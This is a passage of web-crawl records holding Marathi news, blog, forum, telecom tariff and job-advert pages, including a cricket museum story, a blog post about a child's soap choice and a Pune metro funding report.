शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/whenever-team-india-comes-to-pune-they-visit-blades-of-glory-museum/", "date_download": "2018-09-25T17:01:05Z", "digest": "sha1:VMV2OXUR2V7PEJ2FIFNQ4HRPMC54KLXI", "length": 9437, "nlines": 70, "source_domain": "mahasports.co.in", "title": "पुण्यात आल्यावर 'टीम इंडिया' या ठिकाणाला भेट देतेच ! -", "raw_content": "\nपुण्यात आल्यावर ‘टीम इंडिया’ या ठिकाणाला भेट देतेच \nपुण्यात आल्यावर ‘टीम इंडिया’ या ठिकाणाला भेट देतेच \n काल भारतीय क्रिकेट संघाचे पुणे शहरात आगमन झाले. भारत विरुद्ध न्यूजीलँड यांच्यातील दुसऱ्या वनडे सामन्यासाठी संघ पुण्यात दाखल झाला आहे.\nकाल या संघाने पुणेकर क्रिकेटपटू केदार जाधवच्या घरी खास मेजवानीचा आनंद घेतला. आज संघाची अधिकृत पत्रकार परिषद होईल तर भारत विरुद्ध न्यूजीलँड दुसरा वनडे सामना उद्या एमसीए स्टेडियम गहुंजे येथे होणारअसल्यामुळे आज अर्थात मंगळवारी सकाळी ९ ते १२ यावेळेत न्यूजीलँड संघ तर २ ते ५ या यावेळेत भारतीय संघ सराव करणार आहे.\nभारतीय क्रिकेट संघाचं जरी वेळापत्रक व्यस्त असलं तरी पुण्यात आल्यावर संघ एका खास ठिकाणाला नक्की भेट देतो. ते ठिकाण आहे ‘ब्लेड्स ऑफ ग्लोरी’. देशातील क्रिकेटचे सर्वात सुंदर संग्रहालय असलेले ‘ब्लेड्स ऑफ ग्लोरी’ पुण्यातील सहकारनगर भागात आहे.\nया क्रिकेट संग्रहालयात अनेक क्रिकेटपटूंच्या अनेक ऐतिहासिक वस्तू आहेत. विशेष म्हणजे या संग्रहालयात मास्टर ब्लास्टर सचिन तेंडुलकर आणि कर्णधार विराट कोहलीसाठी खास वॉल आहेत.\nविराटच्या वॉलवर प्रत्येक सामन्यानंतर त्याच्या धावा लावल्या जातात. या संग्रहालयाला देश विदेशातील अनेक आंतरराष्ट्रीय खेळाडूंनी भेट दिली आहे. मास्टर ब्लास्टर सचिन तेंडुलकर किंवा विराट कोहली जेव्हा पुण्यात येतात तेव्हा या संग्रहालयाला नक्की भेट देतात.\nभारतीय संघ जेव्हा पुणे शहरात सामना खेळायला येतो तेव्हा संघातील अनेक खेळाडू या ठिकाणाला भेट देतात तसे आपल्या काही ऐतिहासिक वस्तू चाहत्यांना पाहता याव्यात म्हणून भेटही देतात.\nह्यावेळी तरी अजून तरी टीम इंडिया’ने संग्रहालयाला भेट दिल्याची कोणतीही बातमी नाही.\nया संग्रहालय उभे करण्यात रोहन पाटे या क्रिकेटप्रेमी तरुणाचा मोठा हात आहे. त्याच्या कष्टाचे फळ म्हणून हे देशातील सर्वात मोठे आणि सुंदर संग्रहालय पुणे शहरात आहे.\nगेल्यावेळी जेव्हा टीम इंडिया पुण्यात आली होती तेव्हा त्यांनी ताम्हिणी घाटात सफर केली होती तर अजिंक्य रहाणेने पुण्यातील लाल-महालला भेट दिली होती.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.maayboli.com/node/37110", "date_download": "2018-09-25T16:53:22Z", "digest": "sha1:AU5ZYH7NJJUOA5OBQLZIBIZWDFF7OFVT", "length": 5227, "nlines": 142, "source_domain": "www.maayboli.com", "title": "गुलमोहर - चित्रकला | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /गुलमोहर /चित्रकला\nMS-Paint मधील काढलेली चित्रे - \" श्री गणेशाय नमः \" लेखनाचा धागा\nएकेक पान गळावया.. लेखनाचा धागा\nउन्हें उतरलीं लेखनाचा धागा\nबिंब प्रतिबिंब लेखनाचा धागा\nऑईल ॲन्ड पेन लेखनाचा धागा\nघ्यावी भरारी का डोळयात साठवावा पाऊस\niPad वर केलेली काही रेखाटने. लेखनाचा धागा\nएक सुंदर मुलीचे स्वप्न लेखनाचा धागा\nबालपण..वॉटर कलर लेखनाचा धागा\nसेल्फ पोर्ट्रेट (पेन्सिल) लेखनाचा धागा\nभिंतीवरचा वाघ लेखनाचा धागा\nPlaying Marbles अर्थात आपल्या गोट्या..... लेखनाचा धागा\nप्रेमात गुरफटलेल्या चेरीज- ऑइल पेंटिंग लेखनाचा धागा\nडूडल वॉल आर्ट - १ लेखनाचा धागा\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00398.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/08/blog-post_21.html", "date_download": "2018-09-25T17:47:26Z", "digest": "sha1:2ICVWIEV2HMJGJDZ5L463TEBNIXBQQPJ", "length": 7682, "nlines": 66, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: सिन्थॉल कॉन्फिडन्स!!", "raw_content": "\nकाल नेहेमीप्रमाणे भाज्या वगैरे आणायला आम्ही ली ली नावाच्या इथल्या एका एशियन सुपर मार्केट मध्ये गेलो. व्हिएतनामी मालक आहे. मूळचा चीनी असावा. भन्नाट दुकान चालते. सर्व पद्धतीचे आशियाई अन्नप्रकार मिळतात. आपले भारतिय देखील. अगदी चितळेंची बाकरवडी देखील २.२९ डॉलर्समध्ये मिळु लागली आहे\nसर्व खरेदी करुन परत येताना मागुन हाक आली. \"बाबा इकडे ये ना.\" म्हटलं आता काय सिद्धोबाला सापडले इथे तर तो मला भारतिय साबण दाखवत होता. नीम, लिरिल, चन्द्रिका, हमाम, गोदरेज सिन्थॉल, म्हैसूर सॅण्डल सोप ... मजा वाटते अलिकडे आपले हे साबण इथे मिळु लागल्यापासून. \"अरे आत्तच तर डेटॉल घेतला होता ना मागच्या आठवड्यात. सारखा सारखा कश्याला इंडियन सोप पाहिजे.\" - इति मी. भारतिय साबण दीड दोन डॉलर्सला एक वडी असल्यामुले मजा म्हणुन कधीतरी ठिक आहे अशी माझी समजुत. परंतु सिद्धोबाचा निर्णय झाला होता की त्याला एक साबण घ्यायचा आहे. त्यामुळे मी त्याला मदत करू लागलो कुठला साबण घ्यायचा. \"अरे हा घे... चंदनाचा असतो.\" - म्हैसूर सोप कडे बोट दाखवत मी म्हटले. \"नाही तर हा पण चांगला आहे\" - चंद्रिका. \"नाही तर हा बघ तुला आवडेल\" - लिरिल.\n\"बाबा आपण हा घेउ. याने कॉन्फिडन्स वाढतो\n गोदरेज सिंथॉल सिद्धुच्या हातात होता.\nआम्ही मागच्या वर्षी भारतात आलो तेव्हा सिद्धुने ही जाहिरात पाहिली असणार आहे.\nआज सकाळी उठल्यावर बाथरूममध्ये गेल्यावर पाहतो तर आधीचा साबण संपायच्या आत सिंथॉलचे उद्घाटन झाले होते. बाथरुममधुन बाहेर पडतो तो सिद्धु डोळे चोळत सिद्धु मला म्हणतो \"बाबा कुठल्या साबणाने अंघोळ केली\" \"वा अरे झोप तरी पूर्ण झाली का पहिला प्रश्न साबणाबद्दल\". तोपर्यंत सिद्धोबाची स्वारी बाथरुममध्ये रवाना झाली होती.\nनंतर शाळेत जाताना त्याला सनस्क्रिन लावायला लागली त्याची आई तर म्हणतो \"अग अग थोडेच लाव. माझा कॉन्फिडन्स जाईल ना\". सोनालीने हसु आवरले.\nपण टिव्ही चा मुलांवर किति प्रचंड पगडा आहे विचार करण्यासारखी गोष्ट आहे.\nकाल याहू फायनान्स वर अश्याच विषयावर एक लेख आला होता. लॉरा क्रॉले नावाची एक वृत्तपत्रकार आहे. ती सहसा मनुष्य स्वभाव आणि आर्थिक विषय यांच्या संबंधांबद्दल लिहिते. कालचा लेख खूप सुंदर होता. विषय होता - स्व-नियंत्रण. तिच्या मते टिव्ही केबल इत्यादि साधनांच्या आहारी जाऊन मुलांचे स्वत:वरचे नियंत्रण कमी होते. पराधिनता वाढते. आणि आयुष्यात यशस्वी होणारी माणसे बुद्धिमत्ते पेक्षा स्वनियंत्रण अधिक वापरतात. मी विचार करु लागलो.\nअसो ... सिद्धोबाचे साबणाचे लहानसे निमित्त झाले. दोष त्याचा नाही. माझाच आहे कारण मीच स्वत: दिवसातला निम्मा अधिक फावला वेळ टीव्ही नाही तर इंटरनेट वर घालवतो.\nसंध्याकाळी सिंथॉल वापरुन बघतो. बर्याच वर्षांमध्ये नाही वापरला कॉन्फिडन्स नाही पण नॉस्टॅल्जिया जरूर येईल.\nनॊस्टॆल्जिया जरूर येईल.... सही आहे. अनेक गोष्टींचा आपल्यावर पगडा आहेच.लेख आवडला.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00399.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://mtnlmumbai.in/marathi/index.php/%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%B8%E0%A4%BE%E0%A4%AF%E0%A4%BF%E0%A4%95/%E0%A4%A1%E0%A4%BE%E0%A4%9F%E0%A4%BE-%E0%A4%B8%E0%A5%8B%E0%A4%B2%E0%A5%8D%E0%A4%AF%E0%A5%82%E0%A4%B6%E0%A4%A8/%E0%A4%8F%E0%A4%B2%E0%A5%A8-%E0%A4%B5%E0%A5%8D%E0%A4%B9%E0%A5%80%E0%A4%AA%E0%A5%80%E0%A4%8F%E0%A4%A8", "date_download": "2018-09-25T16:44:40Z", "digest": "sha1:DIF2WC74W4C2QUZYHS42RKXZEBK5VG5A", "length": 9931, "nlines": 184, "source_domain": "mtnlmumbai.in", "title": "एल२ व्हीपीएन", "raw_content": "\nआमच्या विषयी |कॉरपॉरेट माहिती | बिल पहा आणि भरा |सेवा केंद्र | निविदा |\nजीएसएम प्रिमियम नंबर बिडिंग\nवेगवान एफटीटीएच व व्हीडीएसएल योजना\nस्तटिक आयपी/ आयपी पूल\nट्राय फॉरमेट ब्रॉडबैंड टेरिफ\nहाय रेंज व्हाय फ़ाय मॉडेम\nएफटीटीएच रेव्हन्यु शेअरींग पॉलीसी\nआयएसडीएन(पीआरआय / बीआरआय) सेवा\nएमएसआयटीएस डाटा सेंटर, चेन्नई\nयूनिवर्सल एक्सेस नंबर (युएएन)\nलैंडलाइन प्रिमियम नंबर बिडिंग\nजीएसएम प्रिमियम नंबर बिडिंग\nकिरकोळ विक्रेता स्टॉक खरेदी\nलेअर २ व्हीपीएन सेवा VLAN टॅगिंग वर आधारीत आहे. ज्यात ब्रॉडबँड नेटवर्क व एडीएसएल मॉडेमचा उपयोग केला जातो.\nया सेवेत ग्राहक इच्छेनुसार मुंबई शहरातील ब-याच स्थानांमध्ये कनेक्टीव्हिटी आहे.\nया VLAN मध्ये सर्व कनेक्शन BBRAS च्या माध्यमातून एक दूस-याशी संपर्क करण्याकरीता सक्षम होतील.\nसेवा कालावधी कमीत कमी ३ महिने असेल.\nलीज्ड लाईन प्रक्रिये बरोबर लाईनच्या तिमाहीच्या सुरवातीलाच सर्व रक्कम भरावी लागेल.\nप्रत्येक अतिरीक्त कनेक्शनकरीता खालील दर लागू होतील.\nयुसेज नंतर व मासिक आधारावर बिलिंग आकारले जाईल.\nग्राहकांना खाली दिलेला मुख्य व पुरक आवेदन फॉर्म (प्रत्येक साईटकरीता) भरणे आवश्यक आहे.\nआवेदन फॉर्म : VPN नेटवर्ककरीता / VPN साईटकरीता\nव्हीपीएन सेवेच्या अधिक माहितीकरता : vpnmumbai@mtnl.net.in वर ई-मेल पाठवा.\nमासिक सेवा मूल्य आकारणी सेवा\n( प्रति साईट / प्रति कनेक्शन )\nअत्याधिक वेग (अपस्ट्रीम डाउन स्ट्रीम)\nरू.५९९/- २५६केबीपीएस/ २५६ केबीपीएस\nरू.९९९/- ५१२केबीपीएस/ ५१२ केबीपीएस\nव्हीपीएन डीएसएल- १ एमबीपीएस\nरू.१,४९९/- १ एमबीपीएस/१ एमबीपीएस\nव्हीपीएन डीएसएल- २ एमबीपीएस\nरू.१,९९९/- २ एमबीपीएस/ २ एमबीपीएस\nव्हीपीएन डीएसएल- ४ एमबीपीएस\nरू.२,९९९/- ४ एमबीपीएस/ ४ एमबीपीएस\nव्हीपीएन डीएसएल- १० एमबीपीएस\nरू.५,९९९/- १० एमबीपीएस/ १० एमबीपीएस\nनोंदणी मूल्याकरिता आवश्यक VPN साईट ५\nसक्रियकरण व परीक्षण मूल्य (प्रती साईट) रू.३००/-\nआरंभिक मॉडेम मूल्य (प्रती साईट) (विना परताव्याकरिता)\n२ एमबीपीएस पेक्षा कमीचे दर\n२ एमबीपीएस व त्या पेक्षा जास्ती चे दर\nडीआयडी इपीएबीएक्स टू फ्रैंचाइज़ी\nवेबसाईट धोरणे / अटी आणि नियम\nहे महानगर टेलिफोन निगम लिमिटेड मुंबईचा अधिकृत संकेतस्थळ आहे, जे भारत सरकारच्या कम्युनिकेशन मंत्रालयाच्या अंतर्गत काम करत आहे.\nYou are here: Home व्यावसायिक डाटा सोल्यूशन एल२ व्हीपीएन", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00399.warc.wet.gz", "language": "mr", "language_score": 0.54, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/monsoon-session-312-crore-pune-metro-128347", "date_download": "2018-09-25T17:46:26Z", "digest": "sha1:GW7TUF7OTMSCCB622T7KJYDXYKT22HUZ", "length": 13025, "nlines": 177, "source_domain": "www.esakal.com", "title": "Monsoon Session 312 Crore for Pune Metro #MonsoonSession पुणे मेट्रोसाठी ३१२ कोटी | eSakal", "raw_content": "\n#MonsoonSession पुणे मेट्रोसाठी ३१२ कोटी\nगुरुवार, 5 जुलै 2018\nनागपूर - राज्य सरकारने समभागापोटी पुणे मेट्रो रेल्वे प्रकल्पासाठी ३१२ कोटी ७६ लाख रुपयांची तर नागपूर मेट्रो रेल्वे प्रकल्पासाठी १०० कोटी रुपयांची जादा तरतूद विधिमंडळाच्या अधिवेशनात पहिल्या दिवशी बुधवारी (ता. ४) पुरवण्या मागण्यांमध्ये केली. नगरविकास विभागाच्या सार्वजनिक क्षेत्रातील गुंतवणुकीमध्ये हा जादा निधी उपलब्ध करून देण्यात येणार आहे.\nनागपूर - राज्य सरकारने समभागापोटी पुणे मेट्रो रेल्वे प्रकल्पासाठी ३१२ कोटी ७६ लाख रुपयांची तर नागपूर मेट्रो रेल्वे प्रकल्पासाठी १०० कोटी रुपयांची जादा तरतूद विधिमंडळाच्या अधिवेशनात पहिल्या दिवशी बुधवारी (ता. ४) पुरवण्या मागण्यांमध्ये केली. नगरविकास विभागाच्या सार्वजनिक क्षेत्रातील गुंतवणुकीमध्ये हा जादा निधी उपलब्ध करून देण्यात येणार आहे.\nअर्थ राज्यमंत्री दीपक केसरकर यांनी २०१८-१९ खर्चाचे पूरक विवरणपत्र विधानसभेत मांडले. त्यामध्ये मेट्रो प्रकल्पासाठी राज्य सरकारच्या दुय्यम कर्जासाठी १३० कोटी रुपयांची जादा तरतूद केली आहे. त्यामध्ये तीस कोटी रुपये पुण्यासाठी, तर नागपूर व मुंबईसाठी प्रत्येकी ५० कोटी रुपयांची तरतूद आहे. या व्यतिरिक्त मुंबईतील विविध मेट्रो प्रकल्पांसाठी दुय्यम कर्जाकरिता ११७ कोटी रुपये उपलब्ध करून दिले आहेत. मेट्रो प्रकल्पासाठी तरतूद केल्यामुळे पुण्यातील कामांना गती मिळणार आहे.\nकोरेगाव भीमा व सणसवाडी येथे जानेवारीमध्ये झालेल्या दंगलीतील बाधितांना मदत करण्यासाठी चालू आर्थिक वर्षांत केलेली तरतूद अपुरी असल्यामुळे त्यासाठी आणखी सात कोटी ९७ लाख रुपयांची तरतूद करण्यात आली. बी. जे. वैद्यकीय महाविद्यालयातील कंत्राटी सेवेसाठी सात कोटी ७९ लाख रुपयांची तरतूद, तसेच यंत्रसामग्रीच्या देखभालदुरुस्तीसाठी ७४ लाख रुपयांची आणि पुरवठा व सामग्रीसाठी ७७ लाख रुपयांची तरतूद करण्यात आली आहे. बारामती येथे शासकीय वैद्यकीय महाविद्यालयाच्या इमारती आणि अन्य कामांसाठी वीस कोटी रुपयांची तरतूद करण्यात आली आहे. पुणे जिल्हाधिकारी कार्यालयाच्या नवीन इमारतीतील कामांसाठी पाच कोटी वीस लाख रुपयांची जादा तरतूद करण्यात आली.\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00399.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.mahanmk.com/recruitment/adarsh-vidya-mandir-nagpur-recruitment-16042018.html", "date_download": "2018-09-25T17:06:14Z", "digest": "sha1:HQ6QWRA2T62PFTC7LCEZJONLYOB56VS3", "length": 6145, "nlines": 104, "source_domain": "www.mahanmk.com", "title": "आदर्श विद्या मंदिर [Adarsh Vidya Mandir] नागपूर येथे विविध पदांच्या २७ जागा", "raw_content": "\nआदर्श विद्या मंदिर [Adarsh Vidya Mandir] नागपूर येथे विविध पदांच्या २७ जागा\nआदर्श विद्या मंदिर [Adarsh Vidya Mandir] नागपूर येथे विविध पदांच्या २७ जागा\nआदर्श विद्या मंदिर [Adarsh Vidya Mandir] नागपूर येथे विविध पदांच्या २७ जागांसाठी पात्र उमेदवारांकडून अर्ज मागवण्यात येत असून अर्ज पोहचण्याची अंतिम दिनांक २८ एप्रिल २०१८ आहे. सविस्तर माहितीसाठी कृपया जाहिरात पाहा.\nअधिक माहिती खालीलप्रमाणे :\nशिक्षक (Teacher) : २४ जागा\nलिपिक (Clerk) : ०१ जागा\nलॅब अटेंडेंट (Lab Attendant) : ०२ जागा\nशैक्षणिक पात्रता : H.S.S.C(Science)\nनोकरी ठिकाण : नागपूर\nअर्ज पाठविण्याचा पत्ता : आदर्श विद्या मंदिर, १२०५, सीए. भवना चौक, गांधीबाग, नागपूर - ४४००३२.\nटीप: आपले वय मोजण्याकरिता Age Calculator चा वापर करावा.\nफॉर्म भरण्याचा अंतिम दिनांक : 28 April, 2018\nNote: नवीन जाहिरातींचे सर्वात जलद अपडेट्स मिळवण्यासाठी \"www.MahaNMK.com\" या संकेतस्थळाला दररोज भेट द्या\n〉 नगरपरिषद देऊळगाव राजा, जि. बुलढाणा येथे 'वीजतंत्री' पदांची ०१ जागा\n〉 श्री गुरु गोबिंद सिंहजी इंजिनीअरिंग अँड टेक्नॉलॉजी, नांदेड येथे 'रिसर्च फेलो' पदांच्या जागा\n〉 कॅन्टोनमेंट बोर्ड देवळाली येथे 'सहाय्यक आरोग्य निरीक्षक' पदांच्या ०२ जागा\n〉 लोणार नगर परिषद [Lonar Nagar Parishad] बुलढाणा येथे 'स्थापत्य अभियंता' पदांची ०१ जागा\n〉 भारत हेवी इलेक्ट्रिकल लिमिटेड [BHEL] नागपूर येथे 'अर्धवेळ वैद्यकीय सल्लागार' पदांची ०१ जागा\n〉 झारखंड उच्च न्यायालय [Jharkhand High Court] रांची येथे विविध पदांच्या ७३ जागा\n〉 शासकीय अध्यापक महाविद्यालय मुंबई येथे 'सहायक प्राध्यापक' पदांच्या ०४ जागा\n〉 सोलापूर जिल्हा मध्यवर्ती सहकारी बँक मर्यादित येथे 'संगणक सल्लागार' पदांच्या जागा\n〉 राज्यसेवा प्रश्नपत्रिका संच\n〉 RRB भारतीय रेल्वेच्या ग्रुप-डी परीक्षा प्रवेशपत्र\n〉 जिल्हा निहाय जाहिराती\n〉 शैक्षणिक पात्रतेनुसार जाहिराती.\n〉 माहिती व जनसंपर्क विभाग.\n〉 महाराष्ट्र लोकसेवा आयोग.\n〉 केंद्रीय लोकसेवा आयोग.\n〉 स्टाफ सलेक्शन कमिशन.\n〉 महिला व बालविकास विभाग.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00399.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "http://amp.esakal.com/manoranjan/actress-sai-tamhankar-contributes-shramadan-maharashtra-din-113555", "date_download": "2018-09-25T16:44:35Z", "digest": "sha1:PWXVTVBWYFEZUCI6OT2T3MM46WXBKJHO", "length": 8523, "nlines": 52, "source_domain": "amp.esakal.com", "title": "Actress Sai Tamhankar Contributes for Shramadan At Maharashtra Din सई ताम्हणकरने पुण्याजवळच्या सुकळवाडी गावात केले महाराष्ट्र दिनी श्रमदान | eSakal", "raw_content": "\nसई ताम्हणकरने पुण्याजवळच्या सुकळवाडी गावात केले महाराष्ट्र दिनी श्रमदान\nसकाळ वृत्तसेवा | बुधवार, 2 मे 2018\nपाणी फाउंडेशनच्या माध्यमातून महाराष्ट्र पाणी टंचाईमुक्त करण्यासाठी सई ताम्हणकर गेली तीन वर्ष कार्यरत आहे.\nपाणी फाउंडेशनची सक्रिय कार्यकर्ती असलेल्या अभिनेत्री सई ताम्हणकरने महाराष्ट्रदिनी पुण्याजवळच्या सुकळवाडी गावात श्रमदान केले. पाणी फाउंडेशनच्या माध्यमातून महाराष्ट्र पाणी टंचाईमुक्त करण्यासाठी सई ताम्हणकर गेली तीन वर्ष कार्यरत आहे.\nयंदा सुकळवाडीत गेलेल्या सईला श्रमदान केल्यानंतरच्या अनुभवाविषयी विचारल्यावर ती म्हणते, “दरवेळी श्रमदानात स्वेच्छेने सहभागी होणा-या कार्यकर्त्यांची संख्या वाढतेय. आणि महाराष्ट्राच्या मातीची नव्या पिढीला ओढ लागतेय, हे पाहून मला खूप छान वाटतंय. इथे कुटूंबच्या कुटूंब येऊन श्रमदान करताना मी पाहते आहे. त्यातल्या एका शहरी कुटूंबप्रमुखाने श्रमदानावेळी मला सांगितलं, की, मी शेतक-याचा मुलगा असल्याने श्रमदानाचं महत्व मला आहे. पण माझ्या मुलीला पाणी कुठून येतं विचाराल तर ती सांगेल की नळातून. हे ऐकायला तात्पूरतं मजेशीर वाटलं तरीही हे भयाण सत्य आहे. त्यामूळेच आपल्या मातीची ओढ लागावी. म्हणून मी तिला श्रमदानासाठी घेऊन आलोय”\nसई पुढे म्हणते, “ही प्रतिक्रियाच सांगते, की आजचे पालक आपल्या मुलांना पुन्हा एकदा मातीची ओढ लावू पाहता आहेत. आणि हे जर श्रमदानाने शक्य होत असेल, तर पाणी फाऊंडेशन नक्कीच यशस्वी ठरतेय असं मला वाटतं.”\nती पूढे सांगते, “1 मेच्या दिवशीच लग्न असलेलं एक जोडपं श्रमदानाला आलं होतं. त्याचप्रमाणे मी यावेळी अगदी सात वर्षांच्या लहानग्यांना आणि सत्तरी पार केलेल्या आजी-आजोबांनाही धडाडीने कुदळ फावडे हातात घेऊन काम करताना पाहिलं आणि श्रमदान करण्याचा हुरूप अजूनच वाढला. एक आगळं समाधान घेऊन मी त्या गावातून परत आली आहे.”\nआपण एका क्लिकवर ताजे अपडेट्स आपल्या मोबाईलमध्येही मिळवू शकता.\n'ई सकाळ'चे अॅप डाउनलोड करण्यासाठी क्लिक करा.\nशेतीविषयीची अपडेट असलेले 'अॅग्रोवन' अॅप डाउनलोड करण्यासाठी ​क्लिक करा.\nराजकारणाची प्रत्येक घडामोड कळविणारे 'सरकारनामा' अॅप डाउनलोड करण्यासाठी क्लिक करा.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00400.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": 